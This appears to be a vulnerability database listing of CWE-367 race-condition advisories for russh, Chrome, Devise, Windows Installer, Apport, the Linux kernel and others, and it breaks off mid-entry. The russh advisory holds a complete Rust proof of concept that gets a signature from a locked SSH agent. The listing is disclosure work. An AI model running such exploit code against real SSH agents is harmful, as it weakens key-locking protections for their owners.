CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1597 vulnerabilities reference this CWE, most recent first.
GHSA-7356-X4XH-V6X9
Vulnerability from github – Published: 2026-11-10 21:34 – Updated: 2026-11-10 21:34Time-of-check Time-of-use (TOCTOU) Race Condition in the virtio network virtual device could allow an attacker in the guest to manipulate the virtual network device causing a crash of the QVM.
{
"affected": [],
"aliases": [
"CVE-2026-50079"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-10T20:19:12Z",
"severity": "LOW"
},
"details": "Time-of-check Time-of-use (TOCTOU) Race Condition in the virtio network virtual device could allow an attacker in the guest to manipulate the virtual network device causing a crash of the QVM.",
"id": "GHSA-7356-x4xh-v6x9",
"modified": "2026-11-10T21:34:31Z",
"published": "2026-11-10T21:34:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50079"
},
{
"type": "WEB",
"url": "https://support.blackberry.com/pkb/s/article/141343"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-736F-C93Q-9FWX
Vulnerability from github – Published: 2026-11-13 19:10 – Updated: 2026-11-13 19:10Summary
In russh 0.65.0, a sign request for a confirmation-constrained key can retain
and use the private key after another connection locks the agent. try_sign()
snapshots an Arc<PrivateKey> before awaiting Agent::confirm() and does not
revalidate the shared lock state after the await. An agent-forwarding peer can
therefore obtain a signature while the agent is locked and every new request is
being rejected.
Details
The agent's lock and key stores are shared by all connections. respond() reads
the lock state once, then dispatches a sign request:
let is_locked = {
// ... read the shared lock ...
};
// ...
Some((&13, mut r))
if !is_locked && agentref.confirm_request(MessageType::Sign).await =>
{
let agent = self.agent.take().ok_or(Error::AgentFailure)?;
let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;
In try_sign(), russh clones the private key from the shared store and drops the
store lock before awaiting the asynchronous confirmation callback:
let key = {
let blob = Bytes::decode(r)?;
let k = self.keys.0.read().or(Err(Error::AgentFailure))?;
if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {
if constraints.contains(&Constraint::Confirm) {
needs_confirm = true;
}
key.clone()
} else {
return Ok((agent, false));
}
};
let agent = if needs_confirm {
let (agent, ok) = agent.confirm(key.clone()).await;
if !ok {
return Ok((agent, false));
}
agent
} else {
agent
};
// No lock/key-state revalidation occurs here.
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?
.encode(writebuf)?;
While confirm() is pending, a second agent connection can successfully lock
the shared agent. When confirmation later returns true, the original
connection signs with its captured Arc<PrivateKey>.
The affected code is in
russh/src/keys/agent/server.rs
and
try_sign().
RFC 9987 section 5.7 requires a locked agent to suspend private-key signature operations until it is unlocked. A fresh request is correctly rejected while locked; only the request suspended across the await bypasses the lock.
The vulnerable asynchronous call was introduced by commit 62db6e7 as the fix
for GHSA-vp5q-ff62-jwqv. The behavior is present in released version 0.65.0
and current commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.
Expected behavior
After the agent reports a successful lock, no private-key signature operation should complete until a successful unlock.
Actual behavior
A request that reached Agent::confirm() before the state transition signs
afterward. New requests made in the same locked or expired state fail, confirming
that the shared state transition took effect.
Proof of concept
The PoC is self-contained and uses in-memory duplex streams; it does not require an SSH server, Unix socket, or attached binary file. With a current stable Rust toolchain installed, create a new directory:
mkdir -p russh-agent-lock-toctou-poc/src
cd russh-agent-lock-toctou-poc
Create Cargo.toml:
[package]
name = "russh-agent-lock-toctou-poc"
version = "0.1.0"
edition = "2024"
[dependencies]
futures = "0.3"
rand = { version = "0.10", features = ["thread_rng"] }
russh = "=0.65.0"
tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] }
tokio-stream = "0.1"
Create src/main.rs:
use std::{future::Future, sync::Arc};
use russh::keys::agent::{
Constraint,
client::AgentClient,
server::{self, Agent},
};
use russh::keys::{Algorithm, PrivateKey};
use tokio::{
io::DuplexStream,
sync::{Notify, mpsc},
};
use tokio_stream::wrappers::ReceiverStream;
#[derive(Clone)]
struct DelayedConfirm {
entered: Arc<Notify>,
release: Arc<Notify>,
}
impl Agent for DelayedConfirm {
fn confirm(
self,
_key: Arc<PrivateKey>,
) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {
Box::new(Box::pin(async move {
self.entered.notify_one();
self.release.notified().await;
(self, true)
}))
}
}
async fn connect(
sender: &mpsc::Sender<std::io::Result<DuplexStream>>,
) -> AgentClient<DuplexStream> {
let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);
sender.send(Ok(server_stream)).await.unwrap();
AgentClient::connect(client_stream)
}
#[tokio::main]
async fn main() {
let entered = Arc::new(Notify::new());
let release = Arc::new(Notify::new());
let agent = DelayedConfirm {
entered: entered.clone(),
release: release.clone(),
};
let (sender, receiver) = mpsc::channel(4);
tokio::spawn(async move {
server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)
.await
.unwrap();
});
let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();
let public_key = key.public_key().clone();
let mut administrator = connect(&sender).await;
administrator
.add_identity(&key, &[Constraint::Confirm])
.await
.unwrap();
let mut attacker = connect(&sender).await;
let attacker_key = public_key.clone();
let pending_sign = tokio::spawn(async move {
attacker
.sign_request_signature(&attacker_key, None, b"attacker-controlled request")
.await
});
entered.notified().await;
administrator.lock(b"lock-password").await.unwrap();
println!("agent locked while confirmation was pending");
// Control: a request started after the lock is rejected.
let mut control = connect(&sender).await;
let control_result = control
.sign_request_signature(&public_key, None, b"post-lock request")
.await;
println!("new post-lock request accepted: {}", control_result.is_ok());
// The original request signs after the lock has taken effect.
release.notify_one();
let pending_result = pending_sign.await.unwrap();
println!(
"pre-lock request signed after lock: {}",
pending_result.is_ok()
);
assert!(control_result.is_err());
assert!(pending_result.is_ok());
}
Run:
cargo run --quiet
Observed on russh 0.65.0 with Rust 1.91.0:
agent locked while confirmation was pending
new post-lock request accepted: false
pre-lock request signed after lock: true
Impact
russh-based SSH agents that implement asynchronous confirmation are affected, including agents exposed to remote SSH servers through agent forwarding. A peer can begin a signature request while the agent is unlocked and hold it in the confirmation phase. If the agent is subsequently locked, approving or otherwise completing the stale confirmation still gives the peer a signature that the agent's current state rejects for every new request.
This weakens emergency locking. The attacker does not recover private key
material, and exploitation requires a sign request to be pending across the
state transition and its confirmation callback eventually to return true.
Related
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0.65.0"
},
{
"fixed": "0.65.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.65.0"
]
}
],
"aliases": [
"CVE-2026-128088"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-13T19:10:46Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nIn russh `0.65.0`, a sign request for a confirmation-constrained key can retain\nand use the private key after another connection locks the agent. `try_sign()`\nsnapshots an `Arc\u003cPrivateKey\u003e` before awaiting `Agent::confirm()` and does not\nrevalidate the shared lock state after the await. An agent-forwarding peer can\ntherefore obtain a signature while the agent is locked and every new request is\nbeing rejected.\n\n### Details\n\nThe agent\u0027s lock and key stores are shared by all connections. `respond()` reads\nthe lock state once, then dispatches a sign request:\n\n```rust\nlet is_locked = {\n // ... read the shared lock ...\n};\n\n// ...\nSome((\u002613, mut r))\n if !is_locked \u0026\u0026 agentref.confirm_request(MessageType::Sign).await =\u003e\n{\n let agent = self.agent.take().ok_or(Error::AgentFailure)?;\n let (agent, signed) = self.try_sign(agent, \u0026mut r, writebuf).await?;\n```\n\nIn `try_sign()`, russh clones the private key from the shared store and drops the\nstore lock before awaiting the asynchronous confirmation callback:\n\n```rust\nlet key = {\n let blob = Bytes::decode(r)?;\n let k = self.keys.0.read().or(Err(Error::AgentFailure))?;\n if let Some((key, _, constraints)) = k.get(\u0026blob.to_vec()) {\n if constraints.contains(\u0026Constraint::Confirm) {\n needs_confirm = true;\n }\n key.clone()\n } else {\n return Ok((agent, false));\n }\n};\n\nlet agent = if needs_confirm {\n let (agent, ok) = agent.confirm(key.clone()).await;\n if !ok {\n return Ok((agent, false));\n }\n agent\n} else {\n agent\n};\n\n// No lock/key-state revalidation occurs here.\nsign_with_hash_alg(\u0026PrivateKeyWithHashAlg::new(key, hash_alg), \u0026data)?\n .encode(writebuf)?;\n```\n\nWhile `confirm()` is pending, a second agent connection can successfully lock\nthe shared agent. When confirmation later returns `true`, the original\nconnection signs with its captured `Arc\u003cPrivateKey\u003e`.\n\nThe affected code is in\n[`russh/src/keys/agent/server.rs`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\nand\n[`try_sign()`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375).\n\nRFC 9987 section 5.7 requires a locked agent to suspend private-key signature\noperations until it is unlocked. A fresh request is correctly rejected while\nlocked; only the request suspended across the await bypasses the lock.\n\nThe vulnerable asynchronous call was introduced by commit `62db6e7` as the fix\nfor GHSA-vp5q-ff62-jwqv. The behavior is present in released version `0.65.0`\nand current commit `183a22e8f8f490fa09b6eb7bd044ef99d8c4414f`.\n\n### Expected behavior\n\nAfter the agent reports a successful lock, no private-key signature operation\nshould complete until a successful unlock.\n\n### Actual behavior\n\nA request that reached `Agent::confirm()` before the state transition signs\nafterward. New requests made in the same locked or expired state fail, confirming\nthat the shared state transition took effect.\n\n### Proof of concept\n\nThe PoC is self-contained and uses in-memory duplex streams; it does not require\nan SSH server, Unix socket, or attached binary file. With a current stable Rust\ntoolchain installed, create a new directory:\n\n```sh\nmkdir -p russh-agent-lock-toctou-poc/src\ncd russh-agent-lock-toctou-poc\n```\n\nCreate `Cargo.toml`:\n\n```toml\n[package]\nname = \"russh-agent-lock-toctou-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nfutures = \"0.3\"\nrand = { version = \"0.10\", features = [\"thread_rng\"] }\nrussh = \"=0.65.0\"\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"sync\"] }\ntokio-stream = \"0.1\"\n```\n\nCreate `src/main.rs`:\n\n```rust\nuse std::{future::Future, sync::Arc};\n\nuse russh::keys::agent::{\n Constraint,\n client::AgentClient,\n server::{self, Agent},\n};\nuse russh::keys::{Algorithm, PrivateKey};\nuse tokio::{\n io::DuplexStream,\n sync::{Notify, mpsc},\n};\nuse tokio_stream::wrappers::ReceiverStream;\n\n#[derive(Clone)]\nstruct DelayedConfirm {\n entered: Arc\u003cNotify\u003e,\n release: Arc\u003cNotify\u003e,\n}\n\nimpl Agent for DelayedConfirm {\n fn confirm(\n self,\n _key: Arc\u003cPrivateKey\u003e,\n ) -\u003e Box\u003cdyn Future\u003cOutput = (Self, bool)\u003e + Unpin + Send\u003e {\n Box::new(Box::pin(async move {\n self.entered.notify_one();\n self.release.notified().await;\n (self, true)\n }))\n }\n}\n\nasync fn connect(\n sender: \u0026mpsc::Sender\u003cstd::io::Result\u003cDuplexStream\u003e\u003e,\n) -\u003e AgentClient\u003cDuplexStream\u003e {\n let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);\n sender.send(Ok(server_stream)).await.unwrap();\n AgentClient::connect(client_stream)\n}\n\n#[tokio::main]\nasync fn main() {\n let entered = Arc::new(Notify::new());\n let release = Arc::new(Notify::new());\n let agent = DelayedConfirm {\n entered: entered.clone(),\n release: release.clone(),\n };\n\n let (sender, receiver) = mpsc::channel(4);\n tokio::spawn(async move {\n server::serve::\u003cDuplexStream, _, _\u003e(ReceiverStream::new(receiver), agent)\n .await\n .unwrap();\n });\n\n let key = PrivateKey::random(\u0026mut rand::rng(), Algorithm::Ed25519).unwrap();\n let public_key = key.public_key().clone();\n\n let mut administrator = connect(\u0026sender).await;\n administrator\n .add_identity(\u0026key, \u0026[Constraint::Confirm])\n .await\n .unwrap();\n\n let mut attacker = connect(\u0026sender).await;\n let attacker_key = public_key.clone();\n let pending_sign = tokio::spawn(async move {\n attacker\n .sign_request_signature(\u0026attacker_key, None, b\"attacker-controlled request\")\n .await\n });\n\n entered.notified().await;\n administrator.lock(b\"lock-password\").await.unwrap();\n println!(\"agent locked while confirmation was pending\");\n\n // Control: a request started after the lock is rejected.\n let mut control = connect(\u0026sender).await;\n let control_result = control\n .sign_request_signature(\u0026public_key, None, b\"post-lock request\")\n .await;\n println!(\"new post-lock request accepted: {}\", control_result.is_ok());\n\n // The original request signs after the lock has taken effect.\n release.notify_one();\n let pending_result = pending_sign.await.unwrap();\n println!(\n \"pre-lock request signed after lock: {}\",\n pending_result.is_ok()\n );\n\n assert!(control_result.is_err());\n assert!(pending_result.is_ok());\n}\n```\n\nRun:\n\n```sh\ncargo run --quiet\n```\n\nObserved on russh `0.65.0` with Rust `1.91.0`:\n\n```text\nagent locked while confirmation was pending\nnew post-lock request accepted: false\npre-lock request signed after lock: true\n```\n\n### Impact\n\nrussh-based SSH agents that implement asynchronous confirmation are affected,\nincluding agents exposed to remote SSH servers through agent forwarding. A peer\ncan begin a signature request while the agent is unlocked and hold it in the\nconfirmation phase. If the agent is subsequently locked, approving or otherwise\ncompleting the stale confirmation still gives the peer a signature that the\nagent\u0027s current state rejects for every new request.\n\nThis weakens emergency locking. The attacker does not recover private key\nmaterial, and exploitation requires a sign request to be pending across the\nstate transition and its confirmation callback eventually to return `true`.\n\n## Related\n\n- [RFC 9987 section 5.7: Locking and Unlocking an Agent](https://www.rfc-editor.org/rfc/rfc9987.html#section-5.7)\n- [GHSA-vp5q-ff62-jwqv / CVE-2026-116794: missing confirmation enforcement](https://github.com/advisories/GHSA-vp5q-ff62-jwqv)\n- [Commit `62db6e7`: call `Agent::confirm`](https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f)\n- [Affected `respond()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\n- [Affected `try_sign()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375)",
"id": "GHSA-736f-c93q-9fwx",
"modified": "2026-11-13T19:10:46Z",
"published": "2026-11-13T19:10:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-736f-c93q-9fwx"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/pull/808"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/43a46d67a80a7355fcd2fb25e7e00d79aec8184c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.65.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "russh try_sign: asynchronous confirmation can sign after agent lock"
}
GHSA-73PH-968H-2F43
Vulnerability from github – Published: 2026-11-17 21:32 – Updated: 2026-11-18 21:31Race condition in ServiceManager in Google Chrome prior to 158.0.8127.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-131047"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-17T21:18:03Z",
"severity": "MODERATE"
},
"details": "Race condition in ServiceManager in Google Chrome prior to 158.0.8127.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Medium)",
"id": "GHSA-73ph-968h-2f43",
"modified": "2026-11-18T21:31:24Z",
"published": "2026-11-17T21:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-131047"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop_01699533288.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/574299586"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-73RF-6MRF-759Q
Vulnerability from github – Published: 2019-03-19 18:03 – Updated: 2023-01-23 20:46Devise ruby gem before 4.6.0 when the lockable module is used is vulnerable to a time-of-check time-of-use (TOCTOU) race condition due to increment_failed_attempts within the Devise::Models::Lockable class not being concurrency safe.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "devise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-5421"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:21:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Devise ruby gem before 4.6.0 when the `lockable` module is used is vulnerable to a time-of-check time-of-use (TOCTOU) race condition due to `increment_failed_attempts` within the `Devise::Models::Lockable` class not being concurrency safe.",
"id": "GHSA-73rf-6mrf-759q",
"modified": "2023-01-23T20:46:50Z",
"published": "2019-03-19T18:03:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5421"
},
{
"type": "WEB",
"url": "https://github.com/plataformatec/devise/issues/4981"
},
{
"type": "WEB",
"url": "https://github.com/plataformatec/devise/pull/4996"
},
{
"type": "PACKAGE",
"url": "https://github.com/plataformatec/devise"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "devise Time-of-check Time-of-use Race Condition vulnerability"
}
GHSA-73XX-3F4H-3MV2
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-13 18:31Time-of-check time-of-use (toctou) race condition in Windows Installer allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-20816"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T18:16:08Z",
"severity": "HIGH"
},
"details": "Time-of-check time-of-use (toctou) race condition in Windows Installer allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-73xx-3f4h-3mv2",
"modified": "2026-01-13T18:31:08Z",
"published": "2026-01-13T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20816"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20816"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-75JR-77WP-RPVH
Vulnerability from github – Published: 2024-09-11 15:31 – Updated: 2024-09-12 15:33A unauthenticated Remote Code Execution (RCE) vulnerability is found in the SO Planning online planning tool. If the public view setting is enabled, a attacker can upload a PHP-file that will be available for execution for a few milliseconds before it is removed, leading to execution of code on the underlying system. The vulnerability has been remediated in version 1.52.02.
{
"affected": [],
"aliases": [
"CVE-2024-27114"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-11T14:15:13Z",
"severity": "HIGH"
},
"details": "A unauthenticated Remote Code Execution (RCE) vulnerability is found in the SO Planning online planning tool. If the public view setting is enabled, a attacker can upload a PHP-file that will be available for execution for a few milliseconds before it is removed, leading to execution of code on the underlying system. The vulnerability has been remediated in version 1.52.02.",
"id": "GHSA-75jr-77wp-rpvh",
"modified": "2024-09-12T15:33:00Z",
"published": "2024-09-11T15:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27114"
},
{
"type": "WEB",
"url": "https://csirt.divd.nl/CVE-2024-27114"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:I/V:C/RE:M/U:Red",
"type": "CVSS_V4"
}
]
}
GHSA-75VH-QGVC-R573
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2023-02-03 15:31Apport before versions 2.14.1-0ubuntu3.29+esm1, 2.20.1-0ubuntu2.19, 2.20.9-0ubuntu7.7, 2.20.10-0ubuntu27.1, 2.20.11-0ubuntu5 contained a TOCTTOU vulnerability when reading the users ~/.apport-ignore.xml file, which allows a local attacker to replace this file with a symlink to any other file on the system and so cause Apport to include the contents of this other file in the resulting crash report. The crash report could then be read by that user either by causing it to be uploaded and reported to Launchpad, or by leveraging some other vulnerability to read the resulting crash report, and so allow the user to read arbitrary files on the system.
{
"affected": [],
"aliases": [
"CVE-2019-7307"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-29T15:15:00Z",
"severity": "HIGH"
},
"details": "Apport before versions 2.14.1-0ubuntu3.29+esm1, 2.20.1-0ubuntu2.19, 2.20.9-0ubuntu7.7, 2.20.10-0ubuntu27.1, 2.20.11-0ubuntu5 contained a TOCTTOU vulnerability when reading the users ~/.apport-ignore.xml file, which allows a local attacker to replace this file with a symlink to any other file on the system and so cause Apport to include the contents of this other file in the resulting crash report. The crash report could then be read by that user either by causing it to be uploaded and reported to Launchpad, or by leveraging some other vulnerability to read the resulting crash report, and so allow the user to read arbitrary files on the system.",
"id": "GHSA-75vh-qgvc-r573",
"modified": "2023-02-03T15:31:17Z",
"published": "2022-05-24T16:55:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7307"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ubuntu/%2Bsource/apport/%2Bbug/1830858"
},
{
"type": "WEB",
"url": "https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-7307.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/172858/Ubuntu-Apport-Whoopsie-DoS-Integer-Overflow.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-767C-45P6-HV5Q
Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2026-05-12 12:31In the Linux kernel, the following vulnerability has been resolved:
crypto: qat - resolve race condition during AER recovery
During the PCI AER system's error recovery process, the kernel driver may encounter a race condition with freeing the reset_data structure's memory. If the device restart will take more than 10 seconds the function scheduling that restart will exit due to a timeout, and the reset_data structure will be freed. However, this data structure is used for completion notification after the restart is completed, which leads to a UAF bug.
This results in a KFENCE bug notice.
BUG: KFENCE: use-after-free read in adf_device_reset_worker+0x38/0xa0 [intel_qat] Use-after-free read at 0x00000000bc56fddf (in kfence-#142): adf_device_reset_worker+0x38/0xa0 [intel_qat] process_one_work+0x173/0x340
To resolve this race condition, the memory associated to the container of the work_struct is freed on the worker if the timeout expired, otherwise on the function that schedules the worker. The timeout detection can be done by checking if the caller is still waiting for completion or not by using completion_done() function.
{
"affected": [],
"aliases": [
"CVE-2024-26974"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-01T06:15:14Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - resolve race condition during AER recovery\n\nDuring the PCI AER system\u0027s error recovery process, the kernel driver\nmay encounter a race condition with freeing the reset_data structure\u0027s\nmemory. If the device restart will take more than 10 seconds the function\nscheduling that restart will exit due to a timeout, and the reset_data\nstructure will be freed. However, this data structure is used for\ncompletion notification after the restart is completed, which leads\nto a UAF bug.\n\nThis results in a KFENCE bug notice.\n\n BUG: KFENCE: use-after-free read in adf_device_reset_worker+0x38/0xa0 [intel_qat]\n Use-after-free read at 0x00000000bc56fddf (in kfence-#142):\n adf_device_reset_worker+0x38/0xa0 [intel_qat]\n process_one_work+0x173/0x340\n\nTo resolve this race condition, the memory associated to the container\nof the work_struct is freed on the worker if the timeout expired,\notherwise on the function that schedules the worker.\nThe timeout detection can be done by checking if the caller is\nstill waiting for completion or not by using completion_done() function.",
"id": "GHSA-767c-45p6-hv5q",
"modified": "2026-05-12T12:31:43Z",
"published": "2024-05-01T06:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26974"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0c2cf5142bfb634c0ef0a1a69cdf37950747d0be"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/226fc408c5fcd23cc4186f05ea3a09a7a9aef2f7"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/4ae5a97781ce7d6ecc9c7055396535815b64ca4f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7d42e097607c4d246d99225bf2b195b6167a210c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8a5a7611ccc7b1fba8d933a9f22a2e76859d94dc"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8e81cd58aee14a470891733181a47d123193ba81"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/bb279ead42263e9fb09480f02a4247b2c287d828"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d03092550f526a79cf1ade7f0dfa74906f39eb71"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/daba62d9eeddcc5b1081be7d348ca836c83c59d7"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-76HH-C32P-QPF2
Vulnerability from github – Published: 2022-11-15 12:00 – Updated: 2022-11-18 18:30Update description and links DMA transactions which are targeted at input buffers used for the software SMI handler used by the FvbServicesRuntimeDxe driver could cause SMRAM corruption through a TOCTOU attack.. "DMA transactions which are targeted at input buffers used for the software SMI handler used by the FvbServicesRuntimeDxe driver could cause SMRAM corruption. This issue was discovered by Insyde engineering based on the general description provided by Intel's iSTARE group. Fixed in Kernel 5.2: 05.27.21. Kernel 5.3: 05.36.21. Kernel 5.4: 05.44.21. Kernel 5.5: 05.52.21 https://www.insyde.com/security-pledge/SA-2022044
{
"affected": [],
"aliases": [
"CVE-2022-31243"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-15T00:15:00Z",
"severity": "MODERATE"
},
"details": "Update description and links DMA transactions which are targeted at input buffers used for the software SMI handler used by the FvbServicesRuntimeDxe driver could cause SMRAM corruption through a TOCTOU attack.. \"DMA transactions which are targeted at input buffers used for the software SMI handler used by the FvbServicesRuntimeDxe driver could cause SMRAM corruption. This issue was discovered by Insyde engineering based on the general description provided by Intel\u0027s iSTARE group. Fixed in Kernel 5.2: 05.27.21. Kernel 5.3: 05.36.21. Kernel 5.4: 05.44.21. Kernel 5.5: 05.52.21 https://www.insyde.com/security-pledge/SA-2022044",
"id": "GHSA-76hh-c32p-qpf2",
"modified": "2022-11-18T18:30:25Z",
"published": "2022-11-15T12:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31243"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-450613.pdf"
},
{
"type": "WEB",
"url": "https://www.insyde.com/security-pledge"
},
{
"type": "WEB",
"url": "https://www.insyde.com/security-pledge/SA-2022044"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7738-6F7V-RV89
Vulnerability from github – Published: 2026-10-13 21:35 – Updated: 2026-10-13 21:35Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-84018"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-13T19:20:52Z",
"severity": "HIGH"
},
"details": "Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-7738-6f7v-rv89",
